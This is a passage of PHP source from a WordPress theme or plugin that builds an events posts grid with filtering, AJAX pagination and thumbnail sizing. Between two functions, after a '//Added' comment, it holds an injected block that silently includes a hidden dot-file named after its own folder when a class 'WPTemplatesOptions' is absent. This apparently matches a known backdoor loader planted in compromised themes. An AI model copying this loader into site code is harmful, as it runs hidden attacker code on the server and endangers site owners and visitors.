tion_id' class='posts_grid tribe_events_posts_grid{$isotope_init} posts_grid_{$layout} posts_grid_{$display_style}" . ( $dynamic_content ? " dynamic_content" : "" ) . ( !empty( $el_class ) ? " $el_class" : "" ) . " clearfix'>"; if ( $is_carousel ){ echo "
"; echo !empty( $title ) ? "

" . esc_html( $title ) . "

" : ""; echo ""; echo "
"; } else{ echo !empty( $title ) ? "

" . esc_html( $title ) . "

" : ""; if ( $is_filter && count( $terms ) > 1 ){ foreach ( $terms as $term ) { if ( empty( $term ) ) continue; $term_obj = get_term_by( 'slug', $term, $tax ); if ( empty( $term_obj ) ) continue; $term_name = $term_obj->name; $filter_vals[$term] = $term_name; } if ( $filter_vals > 1 ){ wp_enqueue_script( 'tweenmax' ); echo ""; } } } echo "
"; echo ""; if ( $dynamic_content ){ cws_loader_html(); } echo "
"; if ( $use_pagination ){ if ( $pagination_grid == 'load_more' ){ cws_load_more (); } else{ cws_pagination ( $paged, $max_paged ); } } if ( $dynamic_content ){ $ajax_data['section_id'] = $section_id; $ajax_data['post_type'] = 'tribe_events'; $ajax_data['tribe_events_data_to_hide'] = $data_to_hide; $ajax_data['layout'] = $layout; $ajax_data['sb_layout'] = $sb_layout; $ajax_data['total_items_count'] = $total_items_count; $ajax_data['items_pp'] = $items_pp; $ajax_data['page'] = $paged; $ajax_data['max_paged'] = $max_paged; $ajax_data['tax'] = $tax; $ajax_data['terms'] = $terms; $ajax_data['filter'] = $is_filter; $ajax_data['current_filter_val'] = '_all_'; $ajax_data['addl_query_args'] = $addl_query_args; $ajax_data['crop_images'] = $crop_images; $ajax_data['full_width'] = $full_width; $ajax_data['pagination_grid'] = $pagination_grid; $ajax_data['add_shadow'] = $add_shadow; $ajax_data_str = json_encode( $ajax_data ); echo "
"; echo ""; echo "
"; } echo ""; $out = ob_get_clean(); echo json_encode(array('result' => $out ) ); wp_die(); //Added } if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } function cws_vc_shortcode_tribe_events_posts_grid_posts ( $q = null, $atts = null ){ if ( !isset( $q ) ) return; $def_grid_atts = array( 'layout' => '1', 'full_width' => '', 'total_items_count' => PHP_INT_MAX ); $grid_atts = isset( $GLOBALS['cws_vc_shortcode_posts_grid_atts'] ) ? $GLOBALS['cws_vc_shortcode_posts_grid_atts'] : $def_grid_atts; extract( $grid_atts ); global $wp_query, $post; $paged = $q->query_vars['paged']; if ( $paged == 0 && $total_items_count < $q->post_count ){ $post_count = $total_items_count; } else{ $ppp = $q->query_vars['posts_per_page']; $posts_left = $total_items_count - ( $paged - 1 ) * $ppp; $post_count = $posts_left < $ppp ? $posts_left : $q->post_count; } if ( $q->have_posts() ): ob_start(); while( $q->have_posts() && $q->current_post < $post_count - 1 ): $q->the_post(); cws_vc_shortcode_tribe_events_posts_grid_post ($atts); endwhile; wp_reset_postdata(); ob_end_flush(); endif; } function cws_vc_shortcode_get_tribe_events_thumbnail_dims ( $eq_thumb_height = false, $real_dims = array() ) { $def_atts = array( 'layout' => '1', 'sb_layout' => '', 'full_width' => '', ); $atts = $def_atts; $single = false; if ( isset( $GLOBALS['cws_vc_shortcode_single_post_atts'] ) ){ $atts = $GLOBALS['cws_vc_shortcode_single_post_atts']; $single = true; } else if ( isset( $GLOBALS['cws_vc_shortcode_posts_grid_atts'] ) ){ $atts = $GLOBALS['cws_vc_shortcode_posts_grid_atts']; } extract( $atts ); $pid = get_the_id(); $full_width = isset($full_width['full_width']) && ($full_width['full_width'] == 'stretch_row_content' || $full_width['full_width'] == 'stretch_row_content_no_spaces') ? true : false; $dims = array( 'width' => 0, 'height' => 0 ); if ($full_width){ switch ($layout){ case "1": $dims['width'] = 1920; if ( !isset( $real_dims['height'] ) ){ $dims['height'] = 1080; } break; case '2': $dims['width'] = 1000; if ( !isset( $real_dims['height'] ) ){ $dims['height'] = 208; } break; case '3': $dims['width'] = 750; if ( !isset( $real_dims['height'] ) ){ $dims['height'] = 208; } break; case '4': $dims['width'] = 500; if ( !isset( $real_dims['height'] ) ){ $dims['height'] = 152; } break; } } else{ switch ($layout){ case "1": if ( empty( $sb_layout ) ){ $dims['width'] = 1170; if ( !isset( $real_dims['height'] ) ){ $dims['height'] = 659; } } else if ( $sb_layout === "single" ){ $dims['width'] = 870; if ( !isset( $real_dims['height'] ) ){ $dims['height'] = 490; } } else if ( $sb_layout === "double" ){ $dims['width'] = 570; if ( !isset( $real_dims['height'] ) ){ $dims['height'] = 321; } } break; case "medium": $dims['width'] = 570; if ( !isset( $real_dims['height'] ) ){ $dims['height'] = 321; } break; case "small":